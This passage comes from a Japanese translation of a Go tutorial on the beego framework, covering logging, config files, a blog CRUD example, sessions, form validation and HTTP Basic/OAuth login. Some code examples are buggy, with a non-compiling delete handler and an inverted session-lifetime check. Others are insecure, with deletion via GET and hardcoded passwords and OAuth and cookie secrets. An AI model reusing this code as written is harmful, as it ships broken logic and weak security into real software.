index.tplのコードは以下のようになります。データの設定と表示が非常に簡単になっていることが見てとれます：

<!DOCTYPE html>
<html>
  <head>
    <title>beego welcome template</title>
  </head>
  <body>
    <h1>Hello, world!{{.Username}},{{.Email}}</h1>
  </body>
</html>

Generated by md2min

13.4 ログとコンフィグ設計

ログとコンフィグの重要性

beegoのログ設計

beegoのコンフィグ設計

応用

ログとコンフィグの重要性

ログがわれわわれの開発において非常に重要な作用を持つことは前にご紹介しました。ログを通じて我々の情報をデバッグすることができます。当初seelogというログシステムをご紹介しました。異なるlevelに基いて異なるログを出力します。これはプログラムの開発とデプロイにおいて非常に重要となります。プログラムを開発中はlevelを低く設定しておき、デプロイ時にlevelを上げることで開発中に行っていた情報を隠蔽することができます。

コンフィグモジュールはアプリケーションのデプロイからサーバの異なる設定情報まで非常に有用です。例えばデータベースの設定情報、ポートの監視、アドレスの監視などは設定ファイルによって設定を行うことができます。このようにアプリケーションは非常に強力な柔軟性を持ちますので、異なるマシン上に設定ファイルを用意することで違うデータベースにアクセスするといったことができるようになります。

beegoのログ設計

beegoのログ設計デプロイ思想はseelogより来ています。異なるlevelによってログに記録しますが、beegoが設計するログシステムは比較的ライトウェイトです。システムのlog.Loggerインターフェースを採用し、デフォルトでos.Stdoutに出力します。ユーザはこのインターフェースを実装することで、beego.SetLoggrを通してカスタム定義の出力を設定することができます。詳しい実装を以下に示します：

// Log levels to control the logging output.
const (
    LevelTrace = iota
    LevelDebug
    LevelInfo
    LevelWarning
    LevelError
    LevelCritical
)

// logLevel controls the global log level used by the logger.
var level = LevelTrace

// LogLevel returns the global log level and can be used in
// own implementations of the logger interface.
func Level() int {
    return level
}

// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
    level = l
}

上ではログシステムのログレベルを実装しています。デフォルトのレベルはTraceで、ユーザはSetLevelによって異なるレベルを設定することができます。

// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)

// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
    BeeLogger = l
}

// Trace logs a message at trace level.
func Trace(v ...interface{}) {
    if level <= LevelTrace {
        BeeLogger.Printf("[T] %v\n", v)
    }
}

// Debug logs a message at debug level.
func Debug(v ...interface{}) {
    if level <= LevelDebug {
        BeeLogger.Printf("[D] %v\n", v)
    }
}

// Info logs a message at info level.
func Info(v ...interface{}) {
    if level <= LevelInfo {
        BeeLogger.Printf("[I] %v\n", v)
    }
}

// Warning logs a message at warning level.
func Warn(v ...interface{}) {
    if level <= LevelWarning {
        BeeLogger.Printf("[W] %v\n", v)
    }
}

// Error logs a message at error level.
func Error(v ...interface{}) {
    if level <= LevelError {
        BeeLogger.Printf("[E] %v\n", v)
    }
}

// Critical logs a message at critical level.
func Critical(v ...interface{}) {
    if level <= LevelCritical {
        BeeLogger.Printf("[C] %v\n", v)
    }
}

上のコードはデフォルトでBeeLoggerオブジェクトを初期化し、デフォルトでos.Stdoutに出力します。ユーザはbeego.SetLoggerによってloggerのインターフェース出力を実装することができます。ここでは６つの関数を実装しています。

Trace（一般的な情報の記録、例：）

“Entered parse function validation block”

“Validation: entered second ‘if’”

“Dictionary ‘Dict’ is empty. Using default value”

Debug（デバッグ情報、例：）

“Web page requested: http://somesite.com Params=’…’”

“Response generated. Response size: 10000. Sending.”

“New file received. Type:PNG Size:20000”

Info（プリント情報、例：）

“Web server restarted”

“Hourly statistics: Requested pages: 12345 Errors: 123 …”

“Service paused. Waiting for ‘resume’ call”

Warn（警告情報、例：）

“Cache corrupted for file=’test.file’. Reading from back-end”

“Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB”

“No response from statistics server. Statistics not sent”

Error（エラー情報、例：）

“Internal error. Cannot process request #12345 Error:….”

“Cannot perform login: credentials DB not responding”

Critical（致命的なエラー、例：）

“Critical panic received: …. Shutting down”

“Fatal error: … App is shutting down to prevent data corruption or loss”

どの関数にもlevelに対する判断があるのがおわかりいただけるかと思います、ですのでもし我々がデプロイ時にlevel=LevelWarningを設置すると、Trace、Debug、Infoのみっつの関数は何も出力しなくなります。

beegoのコンフィグ設計

設定情報のパースにおいて、beegoはkey=valueの設定ファイルの読み込みを実装しています。ini設定ファイルのフォーマットに似ていて、あるファイルをパースするものです。その後パースしたデータをmapに保存し、最後にコールする際にいくつかのstring、intといった対応する値を関数が返します。具体的な実装は以下を御覧ください：

まずini設定ファイルのグローバルな定数をいくつか定義します：

var (
    bComment = []byte{'#'}
    bEmpty   = []byte{}
    bEqual   = []byte{'='}
    bDQuote  = []byte{'"'}
)

定義された設定ファイルのフォーマット：

// A Config represents the configuration.
type Config struct {
    filename string
    comment  map[int][]string  // id: []{comment, key...}; id 1 is for main comment.
    data     map[string]string // key: value
    offset   map[string]int64  // key: offset; for editing.
    sync.RWMutex
}

パースファイルの関数を定義したら、まずファイルを開きます。その後一行一行読み取り、コメント、空行およびkey=valueのデータをパースします：

// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
    file, err := os.Open(name)
    if err != nil {
        return nil, err
    }

    cfg := &Config{
        file.Name(),
        make(map[int][]string),
        make(map[string]string),
        make(map[string]int64),
        sync.RWMutex{},
    }
    cfg.Lock()
    defer cfg.Unlock()
    defer file.Close()

    var comment bytes.Buffer
    buf := bufio.NewReader(file)

    for nComment, off := 0, int64(1); ; {
        line, _, err := buf.ReadLine()
        if err == io.EOF {
            break
        }
        if bytes.Equal(line, bEmpty) {
            continue
        }

        off += int64(len(line))

        if bytes.HasPrefix(line, bComment) {
            line = bytes.TrimLeft(line, "#")
            line = bytes.TrimLeftFunc(line, unicode.IsSpace)
            comment.Write(line)
            comment.WriteByte('\n')
            continue
        }
        if comment.Len() != 0 {
            cfg.comment[nComment] = []string{comment.String()}
            comment.Reset()
            nComment++
        }

        val := bytes.SplitN(line, bEqual, 2)
        if bytes.HasPrefix(val[1], bDQuote) {
            val[1] = bytes.Trim(val[1], `"`)
        }

        key := strings.TrimSpace(string(val[0]))
        cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
        cfg.data[key] = strings.TrimSpace(string(val[1]))
        cfg.offset[key] = off
    }
    return cfg, nil
}

下面实现了一些读取配置文件的函数，返回的值确定为bool、int、float64或string：

// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
    return strconv.ParseBool(c.data[key])
}

// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
    return strconv.Atoi(c.data[key])
}

// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
    return strconv.ParseFloat(c.data[key], 64)
}

// String returns the string value for a given key.
func (c *Config) String(key string) string {
    return c.data[key]
}

応用

以下の関数はあるアプリケーションでの例です。リモートurlアドレスのjsonデータを取得するのに用います。実装は以下のとおり：

func GetJson() {
    resp, err := http.Get(beego.AppConfig.String("url"))
    if err != nil {
        beego.Critical("http get info error")
        return
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    err = json.Unmarshal(body, &AllInfo)
    if err != nil {
        beego.Critical("error:", err)
    }
}

関数において、フレームワークのログ関数であるbeego.Critical関数をコールすることでエラーを発生させています。beego.AppConfig.String("url")をコールし、設定ファイルの情報を取得します。設定ファイルの情報は以下のとおり(app.conf)：

appname = hs
url ="http://www.api.com/api.html"

Generated by md2min

13.5 ブログの追加/削除/修正の実装

ブログディレクトリ

ブログのルーティング

データベーススキーマ

コントローラ

modelレイヤ

viewレイヤ

前ではbeegoフレームワークの全体的な構造思想の実装とニセコードの一部の実装についてご紹介しました。この節ではbeegoを通してブログシステムを設計しましょう。これにはブログの閲覧、追加、修正、削除といった操作が含まれます。

ブログディレクトリ

ブログディレクトリは以下のようになります：

/main.go
/views:
    /view.tpl
    /new.tpl
    /layout.tpl
    /index.tpl
    /edit.tpl
/models/model.go
/controllers:
    /index.go
    /view.go
    /new.go
    /delete.go
    /edit.go

ブログのルーティング

ブログの主なルーティング規則は以下のようになります：

//ブログのトップページを表示
beego.Router("/", &controllers.IndexController{})
//ブログの詳細な情報を検索
beego.Router("/view/:id([0-9]+)", &controllers.ViewController{})
//ブログの文章を作成
beego.Router("/new", &controllers.NewController{})
//ブログの削除
beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{})
//ブログの編集
beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})

データベーススキーマ

データベースの設計は最も簡単なブログ情報です

CREATE TABLE entries (
    id INT AUTO_INCREMENT,
    title TEXT,
    content TEXT,
    created DATETIME,
    primary key (id)
);

コントローラ

IndexController:

type IndexController struct {
    beego.Controller
}

func (this *IndexController) Get() {
    this.Data["blogs"] = models.GetAll()
    this.Layout = "layout.tpl"
    this.TplNames = "index.tpl"
}

ViewController:

type ViewController struct {
    beego.Controller
}

func (this *ViewController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params(":id"))
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "view.tpl"
}

NewController

type NewController struct {
    beego.Controller
}

func (this *NewController) Get() {
    this.Layout = "layout.tpl"
    this.TplNames = "new.tpl"
}

func (this *NewController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}

EditController

type EditController struct {
    beego.Controller
}

func (this *EditController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "new.tpl"
}

func (this *EditController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Id, _ = strconv.Atoi(inputs.Get("id"))
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}

DeleteController

type DeleteController struct {
    beego.Controller
}

func (this *DeleteController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params(":id"))
    blog := GetBlog(id int)
    this.Data["Post"] = blog
    models.DelBlog(blog)
    this.Ctx.Redirect(302, "/")
}

modelレイヤ

package models

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
    "time"
)

type Blog struct {
    Id      int `PK`
    Title   string
    Content string
    Created time.Time
}

func GetLink() beedb.Model {
    db, err := sql.Open("mymysql", "blog/astaxie/123456")
    if err != nil {
        panic(err)
    }
    orm := beedb.New(db)
    return orm
}

func GetAll() (blogs []Blog) {
    db := GetLink()
    db.FindAll(&blogs)
    return
}

func GetBlog(id int) (blog Blog) {
    db := GetLink()
    db.Where("id=?", id).Find(&blog)
    return
}

func SaveBlog(blog Blog) (bg Blog) {
    db := GetLink()
    db.Save(&blog)
    return bg
}

func DelBlog(blog Blog) {
    db := GetLink()
    db.Delete(&blog)
    return
}

viewレイヤ

layout.tpl

<html>
<head>
    <title>My Blog</title>
    <style>
        #menu {
            width: 200px;
            float: right;
        }
    </style>
</head>
<body>

<ul id="menu">
    <li><a href="/">Home</a></li>
    <li><a href="/new">New Post</a></li>
</ul>

{{.LayoutContent}}

</body>
</html>

index.tpl

<h1>Blog posts</h1>

<ul>
{{range .blogs}}
    <li>
        <a href="/view/{{.Id}}">{{.Title}}</a>
        from {{.Created}}
        <a href="/edit/{{.Id}}">Edit</a>
        <a href="/delete/{{.Id}}">Delete</a>
    </li>
{{end}}
</ul>

view.tpl

<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>New Blog Post</h1>
<form action="" method="post">
タイトル:<input type="text" name="title"><br>
内容：<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>

edit.tpl

<h1>Edit {{.Post.Title}}</h1>

<h1>New Blog Post</h1>
<form action="" method="post">
タイトル:<input type="text" name="title" value="{{.Post.Title}}"><br>
内容：<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>

Generated by md2min

13.6 まとめ

この章ではどのように基礎的なGo言語のフレームワークを実装するかについてご紹介しました。フレームワークにはルーティング設計が含まれます。Goのビルトインのhttpパッケージにあるルーティングにはいくつか足りない部分があるため、我々は動的なルーティング規則を設計し、その後MVCモデルにおけるController設計をご紹介しました。controllerはRESTを実装しており、主な考え方はtornadeフレームワークからきています。次にも出るのlayoutおよびテンプレートの自動化技術を実装しました。主に採用したのはGoのビルトインのモデルエンジンです。最後に補足的なログ、設定といった情報の設計をご紹介しました。これらの設計を通して基礎的なフレームワークbeegoを実装しました。現在このフレームワークはすでにgithub上でオープンソースになっています。最後に我々はbeegoを通じてブログシステムの実装を行いました。この実例コードを通してどのように快速にホームページを開発するのかが見渡せたのではないかと思います。

Generated by md2min

14 Webフレームワークの拡張

目次

第13章においてWebフレームワークの開発をご紹介しました。MVC、ルーティング、ログ処理、設定処理の紹介を通じて基本的なフレームワークシステムを完成しました。しかしより良いフレームワークは便利な補助ツールでもって素早いWeb開発を行うものです。ではこの章ではどのように素早くWeb開発を行うツールを利用するかについてご紹介していきましょう。第1章で静的なファイルをどのように処理するかご紹介しました。現在あるtwitterのオープンソースのbootstrapをどのように利用することで素早く美しいホームページを開発するか、第二節では前にご紹介したsessionを使ってどのようにユーザのログイン処理を行うかについてご紹介します。第3節ではどのように簡便にフォームを出力し、どのようにフォームのデータの検証を行うか、また、どのように素早くmodelと結合してデータの追加、削除、修正といった操作を行うかご紹介しました。第4節ではどのようにユーザの認証をおこなうかご紹介しました。http basci認証、http digest認証を含みます。第5節では前にご紹介したi18nを使ってどのように多言語をサポートアプリケーションを開発するかご紹介しました。

この章の拡張を通して、beegoフレームワークが素早いWeb開発の特徴を有することになります。最後にどのようにこれらの拡張の特徴を利用して第13章で開発したブログシステムを拡張するかご紹介しましょう。完全で美しいブログシステムを開発することで、読者はbeego開発があなたに与えるスピードをご理解いただけると思います。

目次

Generated by md2min

14.1 静的なファイルのサポート

beegoの静的なファイルの実装と設定

bootstrapセット

前にすでにどのように静的なファイルをサポートするかについてご説明していますが、この節ではbeegoの中でどのように静的なファイルを設定および使用するか詳細にご紹介しましょう。ここでまたtwitterのオープンソースのhtml、cssフレームワークbootstrapをご紹介します。大量の設計を必要とせずに美しいホームページを作成することができます。

beegoの静的なファイルの実装と設定

Goのnet/httpパッケージでは静的なファイルのサービスを提供しています。ServeFileとFileServerといった関数です。beegoの静的なファイルの処理はこのレイヤーによって処理されます。具体的な実装は以下のとおり：

//static file server
for prefix, staticDir := range StaticDir {
    if strings.HasPrefix(r.URL.Path, prefix) {
        file := staticDir + r.URL.Path[len(prefix):]
        http.ServeFile(w, r, file)
        w.started = true
        return
    }
}

StaticDirに保存されているのはurlが対応する静的なファイルが存在するディレクトリです。そのため、URLリクエストを処理する際対応するリクエストアドレスに静的な処理ではじまるurlを含んでいるか判断するだけです。もし含まれていれば、http.ServeFileによってサービスが提供されます。

例を挙げましょう：

beego.StaticDir["/asset"] = "/static"

ではリクエストされたurlがhttp://www.beego.me/asset/bootstrap.cssだった場合、リクエスト/static/bootstrap.cssによってフィードバックがクライアントに提供されます。

bootstrapセット

BootstrapはTwitterが生み出したオープンソースのフロントエンド開発のツールパッケージです。開発者にとっては、Bootstrapは素早いWebアプリケーション・プログラムの開発における最良のフロントエンドツールパッケージです。これはCSSとHTMLのセットで、最新のHTML5標準を使用しています。Web開発のモダンなバージョン、フォーム、ボタン、テーブル、ネットワークシステム等を提供します。

モジュール Bootstrapには豊富なWebモジュールが含まれています。これらのモジュールによって美しく、機能の揃ったページを作成することができます。これには以下のモジュールが含まれています： プルダウンメニュー、ボタンセット、ボタンプルダウンメニュー、ナビゲーション、ナビゲーションバー、パンくずリスト、ページング、ランキング、サムネイル、エラーダイアログ、プログレスバー、メディアオブジェクト等

Javascriptプラグイン Bootstrapは13個のjQueryプラグインを備えています。これらのプラグインはBootstrapのモジュールに“生命”を与えます。これには以下が含まれます： モードダイアログ、ラベルページ、スクロールバー、ポップアップウィンドウ等

カスタマイズしたフレームワークのコード BootstrapのすべてのCSS変数は修正できます。自分の好みに合わせてコードを切り取ることができます。

図14.1 bootstrapサイト

次にbootstrapをbeegoフレームワークに集めることで、美しいサイトを作成することができます。

まずダウンロードしたbootstrapディレクトリを我々のプロジェクトのディレクトリに展開します。以下のスクリーンショットのように名前をstaticとします。

図14.2 プロジェクトにおける静的なファイルのディレクトリ構造

beegoはデフォルトでStaticDirの値を設定しますので、あなたの静的なディレクトリがstaticであれば、追加する必要はありません：

StaticDir[“/static”] = “static”

テンプレートで以下のようなアドレスを使用すればOKです：

//cssファイル
<link href="/static/css/bootstrap.css" rel="stylesheet">

//jsファイル
<script src="/static/js/bootstrap-transition.js"></script>

//画像ファイル
<img src="/static/img/logo.png">

上ではbootstrapをbeegoの中に実装しています。以下に示す図は実装後の効果図です：

図14.3 bootstrapにもとづいて作成されたサイトのインターフェース

これらのテンプレートとフォーマットはbootstrapのオフィシャルが提供しているものです。ここではコードを再び貼り直すことはしません。みなさんはbootstrapのオフィシャルサイトでどのようにテンプレートを記述するか学んでください。

Generated by md2min

14.2 Sessionのサポート

sessionの実装

sessionの使用

第6章ではGo言語においてどのようにsessionを使用するのかご紹介しました。また、sessionMangerを実装しました。beegoフレームワークはsessionManagerに基づいて便利な処理機能を実装します。

sessionの実装

beegoでは主に以下のグローバル変数でsession処理をコントロールします：

//related to session
SessionOn            bool   // sessionモジュールが起動されているか。デフォルトでは起動しません。
SessionProvider      string // sessionバックエンドでは処理モジュールを提供します。デフォルトはsessionManagerがサポートするmemoryです。
SessionName          string // クライアントで保存されるcookiesの名前
SessionGCMaxLifetime int64  // cookiesの有効期限

GlobalSessions *session.Manager //グローバルなsessionコントローラ

当然上のいくつかの変数は値を初期化する必要があり、以下のコードによって設定ファイルとともにこれらの値を設定することができます。

if ar, err := AppConfig.Bool("sessionon"); err != nil {
    SessionOn = false
} else {
    SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
    SessionProvider = "memory"
} else {
    SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
    SessionName = "beegosessionID"
} else {
    SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 {
    int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
    SessionGCMaxLifetime = int64val
} else {
    SessionGCMaxLifetime = 3600
}

beego.Run関数では以下のようなコードが追加されています：

if SessionOn {
    GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
    go GlobalSessions.GC()
}

SessionOn設定をtrueにするだけで、デフォルトでsession機能が起動します。独立してgoroutineを起動することでsessionを処理します。

カスタム設定のControllerにおいて素早くsessionを使用するため、作者はbeego.Controllerで以下のような方法を提供しています：

func (c *Controller) StartSession() (sess session.Session) {
    sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)
    return
}

sessionの使用

上のコードによって、beegoフレームワークは簡単にsession機能を継承することができるとわかります。ではプロジェクトにおいてどのように使用するのでしょうか？

まずアプリケーションのmainでsessionを起動します：

beego.SessionOn = true

その次にコントローラの対応するメソッドで以下に示すようにsessionを使用します：

func (this *MainController) Get() {
    var intcount int
    sess := this.StartSession()
    count := sess.Get("count")
    if count == nil {
        intcount = 0
    } else {
        intcount = count.(int)
    }
    intcount = intcount + 1
    sess.Set("count", intcount)
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.Data["Count"] = intcount
    this.TplNames = "index.tpl"
}

上のコードはどのようにしてコントロールロジックにおいてsessionを使用するか示しています。主に２ステップに分けられます：

sessionオブジェクトを取得する

//オブジェクトを取得、PHPのsession_start()に似ています。
sess := this.StartSession()

sessionを使用して一般的なsession値を操作します

//session値を取得します。PHPの$_SESSION["count"}に似ています。
sess.Get("count")

//session値を設定します
sess.Set("count", intcount)

上のコードからbeegoフレームワークの開発するアプリケーションにおいて使用するsessionはなかなか便利だとわかります。基本的にPHPでコールするsession_start()とよく似ています。

Generated by md2min

14.3 フォームおよび検証のサポート

フォームと検証

フォームの型

フォームの検証

Web開発ではこのようなプロセスをよく見かけます：

ページを開いてフォームを表示する。

ユーザが入力を行い、フォームを送信する。

もしユーザが無効な情報を送信した場合または何か必須項目を書き漏らしていた場合、フォームはユーザのデータとエラーの詳細情報を返す。

ユーザが再度書き直し、上のプロセスを継続し、有効なフォームを送信する。

サーバのスクリプトでは必ず：

ユーザが送信したフォームのデータを検証しなければなりません。

データが正しい型、標準に適合しているか検証し、もしユーザ名が送信された場合、許された文字列のみを含んでいるか検証されなければなりません。これは最小の長さ以上最大の長さ以下でなければなりません。ユーザ名はすでに存在する他のユーザ名と重複してはいけません。とりわけ一つのキーワードについてもです。

データをフィルタリングし危険な文字列を削除してロジックの処理において受け取るデータが安全であることを保証します。

必要であれば、データをあらかじめフォーマットします（データから空白文字やHTMLタグを削除するといったことです。）

データが準備できると、データベースに保存します。

上のプロセスは特に複雑ということではありませんが、通常はとても多くのコードを書く必要があります。またエラー情報を表示するために、多くの場合ページに多くの異なるコントロール構造を使用します。フォームの検証を作成するのは簡単とはいいますが、実際に行うのはとても無味乾燥な作業です。

フォームと検証

開発者にとって、開発のプロセスというものはとても複雑なものです。また、多くの場合同じ作業を何回も行うことになります。例えばシーンプロジェクトにおいてフォームデータを一つ追加する必要がでてきたとしましょう。この場合ローカルなコードの全体の流れをすべて修正する必要が出てきます。Goではstructはよく使われるデータ構造であることを知っています。そのため、beegoのformではstructを用いてフォームの情報を処理します。

まずWebアプリケーションを開発する時に対応するstructを定義します。ひとつのフィールドはひとつのform要素に対応しています。structのtagによって対応するよすおの情報と懸賞する情報を以下のように対応付けします：

type User struct{
    Username    string  `form:text,valid:required`
    Nickname    string  `form:text,valid:required`
    Age         int     `form:text,valid:required|numeric`
    Email       string  `form:text,valid:required|valid_email`
    Introduce   string  `form:textarea`
}

structを定義したらcontrollerにおいてこのように操作します

func (this *AddController) Get() {
    this.Data["form"] = beego.Form(&User{})
    this.Layout = "admin/layout.html"
    this.TplNames = "admin/add.tpl"
}

テンプレートで以下のようにフォームを表示します

<h1>New Blog Post</h1>
<form action="" method="post">
{{.form.render()}}
</form>

上では全体の第1ステップを定義しました。structからフォームを表示したあとは、ユーザが情報を入力し、サーバがデータを受け取って検証を行った後、データベースに保存されます。

func (this *AddController) Post() {
    var user User
    form := this.GetInput(&user)
    if !form.Validates() {
        return
    }
    models.UserInsert(&user)
    this.Ctx.Redirect(302, "/admin/index")
}

フォームの型

以下のリストは対応するform要素の情報を表しています：

名前

引数

機能の詳細

text

No

textbox入力欄

button

No

ボタン

checkbox

No

チェックボックス

dropdown

No

ドロップダウン

file

No

ファイルアップロード

hidden

No

hidden要素

password

No

パスワード入力欄

radio

No

ラジオボタン

textarea

No

テキストエリア

フォームの検証

以下のリストは使用されるオリジナルのルールを表しています

ルール

引数

詳細

例

required

No

要素が空だった場合、FALSEを返します

matches

Yes

もしフォームの要素の値と引数の対応するフォームのフィールドの値が等しくなければ、FALSEを返します

matches[form_item]

isunique

Yes

もしフォームの要素の値と指定されたデータ表に重複があった場合、Falseを返します（訳注：例えばisunique[User.Email]とあれば、バリデーションクラスはUser表からEmail欄に要素と同じ値が無いか確かめます。もし重複が存在すれば、falseを返します。これにより開発者は他にCallbackバリデーションコードを書く必要がなくなります。）

is_unique[table.field]

minlength

Yes

もしフォームの要素の値の文字列の長さが引数で定義された数字よりも少なかった場合、FALSEを返します。

minlength[6]

maxlength

Yes

もしフォームの要素の値の文字列の長さが引数で定義された数字よりも大きい場合、FALSEを返します。

maxlength[12]

exactlength

Yes

もしフォームの要素の値の文字列の長さが引数で定義された数字と異なっていた場合、FALSEを返します。

exactlength[8]

greaterthan

Yes

もしフォームの要素の値が数字型でないか、引数で定義された値よりも小さかった場合、FALSEを返します。

greaterthan[8]

lessthan

Yes

もしフォームの要素の値が数字型でないか、引数で定義された値よりも大きかった場合、FALSEを返します。

lessthan[8]

alpha

No

もしフォームの要素の値にアルファベット以外の文字列が含まれていた場合、FALSEを返します。

alpha_numeric

No

もしフォームの要素の値にアルファベットか数字以外の文字列が含まれていた場合、FALSEを返します。

alpha_dash

No

もしフォームの要素の値にアルファベット/数字/アンダースコア/ダッシュ以外の文字列が含まれていた場合、FALSEを返します。

numeric

No

もしフォームの要素の値に数字以外の文字列が含まれていた場合、FALSEを返します。

integer

No

もしフォームの要素の中に整数以外の文字列が含まれていた場合、FALSEを返します。

decimal

Yes

もしフォームの要素に（少数でない）不完全な値が入力されていた場合、FALSEを返します。

is_natural

No

もしフォームの要素の値に自然数ではない他の数値が含まれていた場合（その他の数値には0は含みません）、FALSEを返します。自然数は：0,1,2,3….などです。

isnaturalno_zero

No

もしフォームの要素の値に自然数を除くその他の数値が含まれていた場合（その他の数値には0を含みます）、FALSEを返します。0でない自然数は：1,2,3…..などです。

valid_email

No

もしフォームの要素の値に正しくないemailアドレスが含まれている場合、FALSEを返します。

valid_emails

No

もしフォームの要素の値の中のある値に正しくないemailアドレス（アドレスの間はカンマで区切られています）を含んでいた場合、FALSEを返します。

valid_ip

No

もしフォームの要素の値が正しくないIPアドレスだった場合、FALSEを返します。

valid_base64

No

もしフォームの要素の値にbase64でエンコードされる文字以外の文字列が含まれる場合、FALSEを返します。

Generated by md2min

14.4 ユーザの認証

HTTP BasicとHTTP Digest認証

oauthとoauth2の認証

カスタム定義認証

Webアプリケーションを開発する過程で、ユーザ認証は開発者がよくぶつかる問題です。ユーザのログイン、サインアップ、ログアウト等といった操作で、一般的な認証は３つの方面の認証に分けることができます

HTTP BasicとHTTP Digest認証

サードパーティ認証：QQ、weibo、doubian、OPENID、google、github、facebookおよびtwitterなどです

カスタム定義のユーザログイン、サインアップ、ログアウトは一般的にsession、cookie認証にもとづいています。

beegoは現在この３つの方式のどの形式にも対応していません。しかしサードパーティのオープンソースライブラリによって上の３つの方法のユーザ認証を実装することができます。しかし後々beegoは前者２つの認証を一つ一つ実装するかもしれません。

HTTP BasicとHTTP Digest認証

この２つの認証はいくつかのアプリケーションが採用している比較的簡単な認証です。現在すでにオープンソースのサードパーティライブラリでこの２つの認証をサポートしています；

github.com/abbot/go-http-auth

下のコードはこれらのライブラリをどのようにbeegoに導入するかを示しています：

package controllers

import (
    "github.com/abbot/go-http-auth"
    "github.com/astaxie/beego"
)

func Secret(user, realm string) string {
    if user == "john" {
        // password is "hello"
        return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"
    }
    return ""
}

type MainController struct {
    beego.Controller
}

func (this *MainController) Prepare() {
    a := auth.NewBasicAuthenticator("example.com", Secret)
    if username := a.CheckAuth(this.Ctx.Request); username == "" {
        a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}

上のコードはbeegoのprepare関数を利用しています。正常なロジックを実行する前に認証関数をコールすることで、非常に簡単にhttp authを実装しています。digest認証も同様の原理です。

oauthとoauth2の認証

oauthとoauth2は現在比較的流行している二種類の認証方式です。サードパーティでちょうどこの認証を実装しているライブラリがあるのですが、国外で実装されたもので、QQ、weiboといった中国国内のアプリケーション認証はありません。

github.com/bradrydzewski/go.auth

下のコードはどのようにしてこのライブラリをbeegoの中に導入しoauth認証を実装するか示しています。ここではgithubを例にしています：

ルーティングを2本追加

beego.RegisterController("/auth/login", &controllers.GithubController{})
beego.RegisterController("/mainpage", &controllers.PageController{})

次にGithubControllerログインの画面を処理：

package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
)

const (
    githubClientKey = "a0864ea791ce7e7bd0df"
    githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)

type GithubController struct {
    beego.Controller
}

func (this *GithubController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    githubHandler := auth.Github(githubClientKey, githubSecretKey)

    githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}

ログインに成功した後のページ画面を処理

package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
    "net/http"
    "net/url"
)

type PageController struct {
    beego.Controller
}

func (this *PageController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    user, err := auth.GetUserCookie(this.Ctx.Request)

    //if no active user session then authorize user
    if err != nil || user.Id() == "" {
        http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther)
        return
    }

    //else, add the user to the URL and continue
    this.Ctx.Request.URL.User = url.User(user.Id())
    this.Data["pic"] = user.Picture()
    this.Data["id"] = user.Id()
    this.Data["name"] = user.Name()
    this.TplNames = "home.tpl"
}

全体の流れは以下のようになります。まずブラウザを開いてアドレスを入力します：

図14.4 ログインボタンを持つトップページの表示

次にリンクをクリックすると以下のようなインターフェースが現れます：

図14.5 ログインボタンをクリックしてgithubの権限取得ページを表示

Authorize appをクリックすると以下のようなインターフェースが現れます：

図14.6 権限取得にログインした後表示される取得済みのgithub情報のページ

カスタム定義認証

カスタム定義の認証は一般的にはsessionと組み合わせて検証されます。以下のコードはあるbeegoのオープンソースブログに基づいています：

//ログイン処理
func (this *LoginController) Post() {
    this.TplNames = "login.tpl"
